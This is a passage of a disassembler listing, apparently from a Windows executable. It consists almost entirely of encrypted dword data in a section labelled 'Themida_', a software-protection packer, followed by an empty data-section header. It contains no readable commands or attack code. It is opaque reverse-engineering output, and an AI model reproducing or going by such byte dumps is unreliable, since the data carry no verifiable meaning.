		dd 0E90D1722h, 7, 4CCB185Eh, 0B78FB20Ah, 840FF9B1h, 12h
		dd 6E8h, 8B6B7800h, 81BB66A8h, 22C8FAC2h, 0BE665A42h, 10E8509Fh
		dd 2F000000h, 23EA0DB5h, 673BA2E1h, 0E98CC7EFh,	0E9A6EE70h
		dd 13h,	0A03FE696h, 994A9509h, 0F7805257h, 0B9928945h
		dd 5BC5CA93h, 0BB6630B0h, 8B66BFFBh, 8D0F60DEh,	2, 0C781B9B7h
		dd 7FF5D4D6h, 0F5CF8061h, 0BB92F781h, 0B8663492h, 0E981F5EEh
		dd 4954EDDEh, 0CE8h, 0E6C55800h, 6F71B2ACh, 92F366F0h
		dd 0CA8B666Bh, 0F9B6B759h, 0A3F28157h, 5F375437h, 598B966h
		dd 5EF78B50h, 6660DE8Bh, 61AA33BEh, 0FCBB70Fh, 0E8Ch, 5E800h
		dd 4BD30000h, 664ACF68h, 815ADA8Bh, 0B75F86DAh,	0A8BF667Bh
		dd 8C0FF8D0h, 5, 83D68166h, 0CEFB9D2h, 8B660727h, 8B4EB1D1h
		dd 0E68166DEh, 0F18B3AC1h, 8A0FEF8Ah, 24h, 14E8h, 8405C000h
		dd 31ACBB5Ah, 0C9DC1879h, 0FE213033h, 957B00CFh, 5E954h
		dd 62910000h, 5ACD24E3h, 0D8D0Fh, 8E90000h, 22000000h
		dd 7D1A4F36h, 567CF474h, 7A3FDA81h, 0F594307h, 8C0FC8BFh
		dd 1Bh,	158D0Fh, 10E90000h, 5B000000h, 685F8AAAh, 518B9253h
		dd 0A1E5D192h, 6652426Bh, 81A96ABEh, 5BA75AE7h,	0F181606Fh
		dd 241D5E50h, 12E9h, 0BCF08500h, 0FEB9C752h, 0F847F917h
		dd 0C174B843h, 61300698h, 62BED281h, 0E9F94262h, 0Eh, 67F41DB1h
		dd 4A5B7B5Eh, 0ED99A0EFh, 0F2B6C25Ch, 0EEBAEE81h, 8B663444h
		dd 5DF181FEh, 0BA21BC1Ch, 634F95F1h, 6820Fh, 8F0F0000h
		dd 0
		dd 0E9E4B966h, 0FCA8B66h, 1080h, 0BE900h, 3EEA0000h, 5C0E9114h
		dd 6F3BEA35h, 0FCC18B1Ah, 61606060h, 8B0Fh, 81610000h
		dd 0F78C4ED6h, 0C18B6102h, 0AE8h, 5140ED00h, 0E0B5F879h
		dd 0FF40897h, 0F5BC6B7h, 1D86h,	14E800h, 9780000h, 0C59BF55Dh
		dd 93CB9D87h, 0E2FA201Ch, 71A12BCDh, 0BF0F923Ch, 0D08B5BDBh
		dd 68E0F60h, 81000000h,	0D3139C2h, 0C9816671h, 0F61BC1Fh
		dd 0E78AFBB7h, 5486DB81h, 24BF5C93h, 66761C74h,	5CB8C18Bh
		dd 664B5F85h, 8A0FF28Bh, 7, 233EB953h, 6658266Fh, 8AFCC38Bh
		dd 10E9C6h, 74280000h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h
		dd 0BBF962C3h, 6D8EA1A5h, 7BE1BA66h, 0D7BF0FF9h, 3EE1D381h
		dd 0DC801253h, 0CE940h,	6BE30000h, 7DAFCC14h, 0E43A18F7h
		dd 0BF66748Ch, 10E9E725h, 82000000h, 9C947189h,	0B41BB482h
		dd 79635B32h, 0BEB6D54Ah, 145CDC27h, 0B0A2BB66h, 0C5BA6651h
		dd 0ECBE5BB5h, 0E95AC737h, 0Ah,	0EF7E9FC1h, 8630A294h
		dd 0F88B91CEh, 10E9h, 2C875E00h, 1E74CF12h, 186DF473h
		dd 6D252770h, 0BBE3817Fh, 0E9773BCCh, 6, 3D4961BAh, 0B70F24C8h
		dd 12E9CEh, 6F810000h, 0DC922A80h, 0F75D434Bh, 0CC362178h
		dd 0CA311FD1h, 0EF04DB81h, 0E9602DB0h, 14h, 0BD6166BEh
		dd 3A53F022h, 484A5A8Dh, 74651DA8h, 7E5AD9FCh, 0AE8h, 0FCEE6600h
		dd 0A5BDA29Bh, 0BF0B257Dh, 7EA39995h, 890F615Bh, 6, 5DCFD781h
		dd 81666616h, 0E82439C6h, 0Dh, 0C2A6E843h, 4F350BCDh, 0F83AB423h
		dd 0EBC381FCh, 5E33EBDBh, 11D9F081h, 6E97AFCh, 0D2000000h
		dd 2B881B38h, 0D9B70FD2h, 0DE8BC68Bh, 14E9h, 0E16AA800h
		dd 706450EBh, 0D3EF5393h, 5BA9F0D8h, 7B120070h,	5159B39Fh
		dd 0BE9h, 3268F800h, 1592ADE7h,	2EF20BD4h, 0D381665Bh
		dd 0BE665B8Ah, 6660CB9Eh, 66FD53BAh, 5161D38Bh,	8E0F60h
		dd 0F000000h, 8Ch, 66596100h, 0DFDAF081h, 12E8h, 56432E00h
		dd 6128EE1Ah, 9038D1EFh, 1A5A3D13h, 52F15A1Ah, 8CC00BAh
		dd 8A58583Ah, 8166FCF7h, 0E80291C0h, 8,	6762ED2Fh, 2F99F22Ch
		dd 58D8BF0Fh, 10E8h, 0C8AB900h,	0B3463410h, 19E8FC95h
		dd 6937DA6Bh, 0B70F60EFh, 810FD9h, 61000000h, 0CE959h
		dd 91070000h, 5AB9ABFFh, 45AE06DEh, 6E9B10Ah, 8A000000h
		dd 212B184h, 0E3B456CCh, 0D08B605Eh, 61D98B66h,	0E938DD80h
		dd 0Ah,	2ADA4456h, 1567D184h, 0BF0F7E57h, 3CBF66CEh, 0CA8B66E6h
		dd 5AE78166h, 9842BAC4h, 0CC803A0Ch, 870FC5h, 0B2000000h
		dd 8A0F29h, 0F000000h, 0EE9F3BFh, 0BA000000h, 0AE8A9379h
		dd 29AF5801h, 0DCC28FDFh, 0D181661Bh, 0B86626A4h, 800F03A0h
		dd 3, 8B15EB80h, 25C180D8h, 128E0Fh, 6E80000h, 0DD000000h
		dd 0F8E51ECEh, 15D68191h, 580DC4B9h, 11E9h, 0FCE0D400h
		dd 0DCCA9805h, 529E2703h, 7DB03D41h, 0B70FBD02h, 32BF66C3h
		dd 15860F9Ah, 0E9000000h, 10h, 0FDF02C2Dh, 0FEF42E14h
		dd 9AD4FE24h, 29ACD3C3h, 50D1BF0Fh, 14E8h, 0C4158200h
		dd 0FF2D348Dh, 0BEEA36D7h, 4E9AE16Bh, 638A266Eh, 5FF88B5Eh
		dd 38A0F5Fh, 66000000h,	830FDF8Bh, 2, 8E8D88Bh,	8D000000h
		dd 6C60CD29h, 5EACCD3Dh, 0CE9h,	8D0EF000h, 3DBE64E6h, 0B2D52E17h
		dd 0CBBF0FE0h, 8BCB8B66h, 11E9F0h, 4C070000h, 0ECFAA286h
		dd 7EFCA3C9h, 0D7ABEDAEh, 5765CED2h, 33B85EF8h,	0F646732h
		dd 0C8Eh, 68E0F00h, 0F000000h, 80h, 58A0F00h, 0B9000000h
		dd 4890A0F5h, 8E96050h,	3C000000h, 8A89EDB4h, 0F594247Ch
		dd 0BABB5861h, 66610176h, 8B66C18Bh, 0C88166C6h, 5E9A370h
		dd 96000000h, 50DE9CB0h, 7E9h, 0DAAED500h, 6B20F3DCh, 665CBFh
		dd 2923BF0Eh, 0AE83480h, 0D3000000h, 1B6BE8AEh,	96415DFDh
		dd 25D7BB07h, 8B5F74C5h, 0BEF98BD7h, 176A5506h,	81F18B66h
		dd 7B5174DAh, 0E973B315h, 9, 0D1842ADAh, 7E571567h, 0CF816657h
		dd 8E97537h, 50000000h,	77204F1Ch, 66E24A94h, 78CDF081h
		dd 1935DB81h, 0E9602354h, 14h, 0CAABDA27h, 0E5CB4FEDh
		dd 3B0884C3h, 835E7F35h, 6ADED69Eh, 66F561F9h, 8083A6B9h
		dd 0FE9D3D2h, 1A000000h, 37D3DCBAh, 0E28CCAE8h,	0B4D94EDFh
		dd 8166F728h, 0F4C9EEBh, 584h, 8C3DB800h, 0CE83414h, 0F2000000h
		dd 6FEAA1C2h, 0B4CB2093h, 804FE862h, 8A5E46C4h,	0FC8A60F8h
		dd 0BE9h, 0F1DB9900h, 8ED1CD00h, 0FDFEDFD2h, 66C58A61h
		dd 0F50018BBh, 72C6FCBFh, 5870F6Eh, 57000000h, 58F7B70Fh
		dd 0B70FF78Bh, 0BF0F60F7h, 66F860FAh, 61D9E8B9h, 0C0816661h
		dd 0EBB885DEh, 0F01CA62h, 0EE9C9BFh, 1000000h, 5B2AFB81h
		dd 33A3A67Bh, 6893D772h, 0C3816647h, 14E97FB5h,	15000000h
		dd 7254988Fh, 0C75DD342h, 49984A8Ah, 7586916h, 0E9E09788h
		dd 0Ch,	522FF2F2h, 85E87888h, 423DF6Dh,	8AFEBF0Fh, 816660C6h
		dd 0F5794DE2h, 0A830F61h, 60000000h, 8D0Fh, 61600000h
		dd 0E9816661h, 0C88AA5A5h, 6176B160h, 0E918F180h, 0Fh
		dd 0A3AD7E6Dh, 6DECDE80h, 781477A0h, 81516CD4h,	6AAF2ECAh
		dd 63BB6656h, 8631BE07h, 0DF810F3Eh, 3B8869BCh,	0E8CB8B66h
		dd 7, 1CA8B19Ah, 0E8ED1127h, 14h, 4E75F9D5h, 10A65697h
		dd 2C33BCEh, 1E924C53h,	42BA2801h, 5F5B5857h, 0B9D78B66h
		dd 209A2B34h, 10E9h, 0F69BB000h, 49C411CCh, 0D5ECA69Ah
		dd 811F61F8h, 3FF68069h, 66DF8B66h, 10E9F78Bh, 0F8000000h
		dd 0E5BEDC77h, 0BE7B9358h, 0A403EB8Ah, 0FBF6B5Ch, 285h
		dd 0E9CB8B00h, 0Bh, 142B4A4Fh, 9736FA0Ch, 0FDB8A0Eh, 185h
		dd 0C580FC00h, 830F29h,	0E9000000h, 8, 891A609h, 815F79BEh
		dd 0E4D78166h, 56CA8A37h, 0FB53BA66h, 6660605Ah, 0F1A8D181h
		dd 0CAA5B966h, 0FE961h,	0A15A0000h, 9AA7A8D2h, 54B91D14h
		dd 80BD1F2Dh, 81666168h, 6070FAD1h, 4850Fh, 0B9660000h
		dd 0BE667D3Ch, 57615271h, 0ECB96660h, 0FDCABEFBh, 5F610B1Dh
		dd 20C08166h, 0CCEE814Fh, 6656115Ah, 0B866F98Bh, 0BF0F2B8Ah
		dd 8850FF9h, 56000000h,	8D0Fh, 0F5F0000h, 13E9F3BFh, 35000000h
		dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 0FE6E1634h,	0C68B0EFEh
		dd 11E85E53h, 5E000000h, 0A3EC5472h, 6BBCF7B1h,	0C369835Fh
		dd 165B5768h, 78B8FC60h, 615F60F5h, 0C78B665Ah,	0FA8B87B2h
		dd 14E9h, 0FFC14500h, 3879111Bh, 3F0E7268h, 98808D58h
		dd 0E8C79B7Fh, 0B460FC3Ah, 66606125h, 0F861DF8Bh, 0C16EEF81h
		dd 8E97F4Eh, 50000000h,	0D97E01DCh, 0E927D1C4h,	7, 1707BDA4h
		dd 0E8C88C98h, 0Ah, 82A07232h, 0B8765D90h, 0B9567EB1h
		dd 32BC54D3h, 10E9595Eh, 36000000h, 4E1AB606h, 224AD4EEh
		dd 504AB207h, 6643A1CDh, 0F876D5BEh, 0EE9h, 0CD561C00h
		dd 0B131F4D7h, 0D1DE7FB5h, 0F4D6739h, 1B83h, 15800F00h
		dd 0E9000000h, 10h, 28CD61D6h, 0E8B570D6h, 4B8B3C58h, 2F62A5A0h
		dd 0F1F18060h, 1850F61h, 0F8000000h, 12E9FCh, 29BC0000h
		dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 464BB1CFh, 0EC143CBBh
		dd 30E2812Eh, 6614B81Ah, 5245D681h
		dd 54EFBE66h, 0CBDF8060h, 11E8h, 7E04500h, 8A8BBDC0h, 47405356h
		dd 4A9B64C9h, 14E81A2Fh, 83000000h, 0E79257D9h,	23FE2D4Dh
		dd 0D9259B15h, 0BFF2E2D1h, 5A56FDEAh, 0E1B1615Eh, 0A8A0FF8h
		dd 0E9000000h, 5, 0B5CE22BBh, 8E9E6h, 8AEB0000h, 0D8BB36B6h
		dd 8BF79C8h, 8B1D0706h,	7E8C7h,	99AE0000h, 8EBF973h, 8F0F56C8h
		dd 0
		dd 66FC5858h, 65A0EA81h, 92D5BE66h, 10E9h, 0E2125100h
		dd 19569035h, 0EDDE2359h, 0E652F1Bh, 0C4D4BB28h, 9E81BAAh
		dd 0B1000000h, 4DF11EC2h, 2921D587h, 5DB794BEh,	890F5919h
		dd 3, 0FF4D380h, 681h, 820F00h,	0E8000000h, 6, 4AA1A217h
		dd 0F501E6Dh, 87h, 8B5A5800h, 800FC7h, 66000000h, 0BE9D38Bh
		dd 3000000h, 6E364D1h, 0A422A919h, 47BEF3DDh, 666260C8h
		dd 0F5FF72B9h, 5AFE8A56h, 0F0F18166h, 5810F71h,	0BE000000h
		dd 64CD1300h, 8158F556h, 3367E0F1h, 0F98B660Ch,	81CEB70Fh
		dd 0DC6FA2CFh, 2C4FBE72h, 830F5646h, 2,	8B0F01B5h, 25h
		dd 12E8h, 10915E00h, 31B01C3h, 60590414h, 7D683938h, 0E9A7E88Ah
		dd 8, 0E807F84Bh, 0AD642B7Ah, 0CB81665Bh, 8B665349h, 0BBBB56F3h
		dd 5E577059h, 396D381h,	0B4F975C5h, 0C6BF0FBAh,	6E9h, 0ABB7800h
		dd 8A891BD7h, 12E8F5C5h, 12000000h, 619F6A06h, 196AB0B4h
		dd 65787B45h, 4C90EBA1h, 616051D9h, 0FE95E5Bh, 33000000h
		dd 0E759251Bh, 41FCBC5Ah, 27F86B07h, 0D281863Dh, 2CDB3E71h
		dd 8B0FFCh, 0B9000000h,	31E3FC25h, 0ABFCBE66h, 830Fh, 0CA8B0000h
		dd 29E08060h, 9E9h, 6CE41A00h, 0BF739741h, 0E961E7A5h
		dd 11h,	3B71A669h, 0C1284E6Ch, 20B84F44h, 0DD983E86h, 0BF66605Fh
		dd 0FE9680Eh, 0A9000000h, 0E294AF4Dh, 0F62DF557h, 0E061939Eh
		dd 0F61F883h, 1B84h, 59566000h,	11E8h, 6D5E0100h, 0B0B6ACAAh
		dd 6DC4F5FCh, 0F229C8A8h, 615F22F4h, 12E9h, 0AC15BA00h
		dd 453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 0BBCE605Fh, 73E94333h
		dd 5C85AAB8h, 0F98B6641h, 108A0Fh, 0BE90000h, 0C7000000h
		dd 86CD1F7Dh, 39321281h, 0E9570842h, 6,	6FBB3B26h, 665ACC9Ah
		dd 0E960DA8Bh, 6, 8F60FEAh, 0D78A95EDh,	11E961h, 20580000h
		dd 0E8C891E6h, 417438F5h, 9F82DCFh, 0FB9C6DDh, 0C8Bh, 7E900h
		dd 7DB80000h, 0F86F09DAh, 0DFBF0FDBh, 8ADFB70Fh, 6068B0F4h
		dd 8BC9BF0Fh, 66F961CFh, 2CDBEB81h, 0D08B66F9h,	0C8A0Fh
		dd 830F0000h, 6, 880Fh,	28BE0000h, 0E95736A1h, 6, 0FFB531B0h
		dd 8166CFEFh, 8170C5DAh, 6C967AF6h, 81FBB158h, 0DD7A1AE8h
		dd 0B7F8FC3Ah, 14E952AEh, 0D2000000h, 0B7CFEB56h, 0F138E895h
		dd 537F2047h, 0EE04D3DBh, 5AA873F2h, 830F5B51h,	2, 8E987B0h
		dd 2000000h, 78FA5663h,	0E99D3CCAh, 0Ah, 8C1B2CBEh, 7211729Dh
		dd 8D0FE1DDh, 17h, 0DE8h, 0ADA08300h, 0EBCBB5E5h, 0BDF8562h
		dd 0BE66D89Fh, 6659949Bh, 0F8F8BBFh, 781h, 81665300h, 5E5B34D7h
		dd 0E4B7F960h, 0CB816661h, 0CE8BE483h, 0B10CF080h, 0FE8BF93Ch
		dd 53EB8166h, 0E9C68B0Eh, 13h, 0F1E4351Eh, 0A0EA385Bh
		dd 0EF58E0Ah, 1EAAA738h, 0E96E89A9h, 13h, 16AC8A59h, 40EF6AB6h
		dd 0A1BE8043h, 0C0CB2C0Eh, 5029F951h, 0E958F08Bh, 12h
		dd 1CDCDDEFh, 22B05C1Bh, 0D4106CA5h, 0A1F99904h, 0FE947B7h
		dd 1F000000h, 0ACA8A110h, 3B78812Ch, 9B6E7C5h, 0B70F72D3h
		dd 0CE9CEh, 7F0C0000h, 0F0BD4FEFh, 0F3EE6784h, 20B9889Ah
		dd 0E83081C3h, 12h, 9FED1A9Fh, 43209B4Ah, 92795B20h, 0FEC60849h
		dd 0BF66CE06h, 805F7F75h, 860F29C1h, 0Fh, 0AE9h, 10595400h
		dd 0C2C1FEDBh, 6610CF0Eh, 5E6BCE81h, 6E860h, 81920000h
		dd 0CA253266h, 8B665EFCh, 0B86661C8h, 870F986Fh, 5, 9A0EC1BEh
		dd 0FE938h, 32F50000h, 45A64512h, 0BF6198F2h, 8DC2E6C3h
		dd 5385BAF2h, 0D68B7ACAh, 58F0Fh, 81660000h, 0FA067C8h
		dd 1A82h, 0EE800h, 1F960000h, 0D438D5ACh, 0C317B8ACh, 3148F9FEh
		dd 8B0Fh, 0E8590000h, 13h, 0CEF2EB7Bh, 23DC6A45h, 0CBA9C0B3h
		dd 0D20702AFh, 0F418EDEh, 0F5ED9B7h, 158Dh, 10E900h, 0C00D0000h
		dd 394F2B03h, 0DE7BF305h, 0E0CFDEF5h, 66F9CE21h, 0E945ABBFh
		dd 8, 0DDA8084Bh, 0EF1924AFh, 0FFAB70Fh, 985h, 38D0F00h
		dd 66000000h, 0F48AD18Bh, 5E9h,	7C6AE500h, 89B88104h, 8B478E20h
		dd 0C9E681D1h, 666CB683h, 8B66CE8Bh, 0B5BF66D8h, 10E817h
		dd 63870000h, 0AE41C505h, 5920918Eh, 990DAA14h,	0DA8A4A90h
		dd 6860F5Ah, 81000000h,	378199C0h, 9C58BB59h, 0DC800D9Ah
		dd 1ED081D4h, 0F84E04A3h, 5E9h,	9EC95100h, 0BF0F97DCh
		dd 0F28166D8h, 0C78B7E87h, 0D8D0FFCh, 0E9000000h, 8, 0CAE5601Ch
		dd 49DC9887h, 0CAECD281h, 0CB816E96h, 98528AFh,	50F1BF0Fh
		dd 0AE9h, 0C38BD400h, 3C2F452h,	5967242Dh, 78D0Fh, 810F0000h
		dd 1, 0F38166F9h, 1B7899Ch, 6940E081h, 13E87807h, 0E3000000h
		dd 33271E80h, 3CB259D6h, 0DA9BD425h, 0BA518347h, 0F606021h
		dd 8B66F0BFh, 0F55861C7h, 7E7FB966h, 0BBC9B70Fh, 4523BF05h
		dd 6CBECF8Bh, 807AA27Bh, 8D0FD1C4h, 16h, 11E9h,	0B0121F00h
		dd 1B0AA7D8h, 0A195F6B2h, 0FECFBC3Bh, 0BB664A6Dh, 81665C38h
		dd 665108F1h, 0FF6A7BEh, 383h, 0F3C68000h, 0E84BD080h
		dd 6, 1EA4B554h, 0F5E1263h, 0C981CFBFh,	1488890Bh, 0EE9h
		dd 50E10100h, 0A6B43F5Ah, 5B28F816h, 0F2FEAE1h,	2381h
		dd 10E800h, 91F30000h, 97E89AD3h, 0FFD95B40h, 86E56423h
		dd 8E9E869h, 17000000h,	0AE18CBE4h, 5ACEC327h, 6082E280h
		dd 5431CF81h, 816665D0h, 61C1D4C2h, 24830Fh, 5E80000h
		dd 8C000000h, 0C9280640h, 13E8h, 0C085DD00h, 95EA474Bh
		dd 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh, 10E95E5Eh, 0A9000000h
		dd 0D588D5BCh, 5A15606Ch, 7AF51282h, 800226B6h,	8E8A3C5h
		dd 9E000000h, 153BA8A6h, 0E96274C3h, 8,	0FBE029D6h, 0DD61067Bh
		dd 6BDE815Fh, 81021587h, 22183BD3h, 0B820F3Ch, 0F000000h
		dd 589h, 33EDBB00h, 850F7D44h, 2, 14E9E58Ah, 90000000h
		dd 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h, 24F49CA6h, 0E9E2348Ch
		dd 7, 16AD0342h, 0A0D7D575h, 324h dup(0A094320Ch), 407h	dup(0C882650Dh)
		dd 0E649650Dh, 2C8h dup(0E6497671h)
dword_5BDA88	dd 3Ch dup(0E6497671h),	44h dup(0FF61FF18h), 3061FF18h
					; DATA XREF: Themida_:0054ED6Ao
		dd 59h dup(30039EC6h), 0CC039EC6h, 930h	dup(0CCCCCCCCh)
		dd 0CCCCCCh, 352h dup(0)
Themida_	ends

; Section 5. (virtual address 001C1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C1000h
		align 2000h
_idata2		ends


		end start